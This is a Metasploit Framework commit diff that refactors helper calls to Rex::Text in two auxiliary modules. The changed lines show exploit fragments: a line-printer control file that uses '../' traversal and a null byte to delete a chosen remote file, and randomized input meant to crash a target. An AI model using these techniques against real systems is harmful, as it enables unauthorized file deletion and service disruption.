Fixed namespace problems in auxiliary modules

git-svn-id: file:///home/svn/framework3/trunk@5984 4d416f70-5f16-0410-b530-b9f4589650da
unstable
Ramon de C Valle 2008-11-28 21:04:28 +00:00
parent 80cc5e3bb6
commit 815a4fdea7
2 changed files with 5 additions and 5 deletions

View File

@ -51,9 +51,9 @@ class Metasploit3 < Msf::Auxiliary
def run
r_hostname = rand_text_alpha(rand(8)+1)
r_user = rand_text_alpha(rand(8)+1)
r_spool = rand_text_alpha(rand(8)+1)
r_hostname = Rex::Text.rand_text_alpha(rand(8)+1)
r_user = Rex::Text.rand_text_alpha(rand(8)+1)
r_spool = Rex::Text.rand_text_alpha(rand(8)+1)
# Create a simple control file...
control = "H#{r_hostname}\nP#{r_user}\n";
@ -78,7 +78,7 @@ class Metasploit3 < Msf::Auxiliary
# null byte will prevent the parser from processing the other paths.
control << "U" + ("../" * 10) + "#{datastore['RPATH']}\x00\n"
dataf = rand_text_alpha(100)+1
dataf = Rex::Text.rand_text_alpha(100)+1
print_status("Deleting #{datstore['RPATH']}...")
if (not (

View File

@ -77,7 +77,7 @@ class Metasploit3 < Msf::Auxiliary
modproplong << modprops[rand(modprops.size)] + ","
}
boundry = rand_text_alphanumeric(8) + "." + rand_text_alphanumeric(8)
boundry = Rex::Text.rand_text_alphanumeric(8) + "." + Rex::Text.rand_text_alphanumeric(8)
# Really, the randomization above only crashes /sometimes/ - it's MUCH more